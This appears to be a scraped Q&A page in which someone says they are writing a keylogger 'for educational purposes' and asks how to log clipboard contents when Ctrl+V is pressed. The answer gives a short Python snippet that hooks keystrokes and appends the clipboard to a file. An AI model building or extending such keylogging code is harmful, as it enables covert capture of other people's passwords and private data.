【问题标题】:How to catch ctrl+v?如何捕捉 ctrl+v?
【发布时间】:2018-07-07 11:14:05
【问题描述】:

我正在编写一个键盘记录器(用于教育目的)。

我正在尝试复制剪贴板中的内容并将其写入文件以防按下 Ctrl+V。我发现它的缩写是 'SYN' 但我不知道它是什么 ascii。我确实设法捕获了每个击键并将其写入文件。当 Ctrl+V 击键发生时,我在文件中得到的是 'Lcontrol' 和紧随其后的 'V' 所以我猜是它会分别捕获它们。

【问题讨论】:

  • 您能否将您的解决方案作为答案发布而不是对您的问题进行编辑?

标签: python-2.7 clipboard keylogger ctrl


【解决方案1】:

这是解决方案:

...
import win32clipboard
from pyHook import HookManager, GetKeyState, HookConstants
...
if GetKeyState(HookConstants.VKeyToID('VK_CONTROL')) and HookConstants.IDToName(event.KeyID) == 'V':
        win32clipboard.OpenClipboard()
        data = win32clipboard.GetClipboardData()
        win32clipboard.CloseClipboard()
        with open(file, "a") as f:
            f.write("{Clipboard : " + data + "}")
...

【讨论】:

  • 虽然此代码 sn-p 可能是解决方案,但 including an explanation 确实有助于提高您的帖子质量。请记住,您是在为将来的读者回答问题,而这些人可能不知道您提出代码建议的原因。
猜你喜欢
  • 1970-01-01
  • 2018-10-13
  • 2014-01-11
  • 1970-01-01
  • 2020-08-22
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多